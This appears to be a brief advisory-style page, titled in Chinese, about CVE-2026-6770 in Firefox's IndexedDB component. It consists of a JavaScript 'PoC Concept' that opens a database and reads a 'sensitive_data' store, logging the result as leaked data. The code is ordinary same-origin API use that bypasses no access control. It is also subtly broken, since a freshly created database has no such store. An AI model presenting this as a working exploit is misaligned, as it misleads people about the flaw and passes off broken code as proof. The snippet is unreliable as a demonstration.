CVE-2026-6770 Firefox IndexedDB组件漏洞

// PoC Concept for IndexedDB Information Leak // This script attempts to open a database and read potentially sensitive data // to demonstrate the access control issue in IndexedDB. const dbName = "target_db"; const request = indexedDB.open(dbName, 1); request.onerror = function(event) { console.log("[PoC] Database error: " + event.target.errorCode); }; request.onsuccess = function(event) { const db = event.target.result; console.log("[PoC] Database opened successfully"); // Attempt to read data from an object store const transaction = db.transaction(["sensitive_data"], "readwrite"); const objectStore = transaction.objectStore("sensitive_data"); const objectRequest = objectStore.getAll(); objectRequest.onsuccess = function(event) { console.log("[PoC] Data leaked: " + JSON.stringify(event.target.result)); }; }; // Trigger the vulnerability logic console.log("[PoC] Checking IndexedDB access patterns...");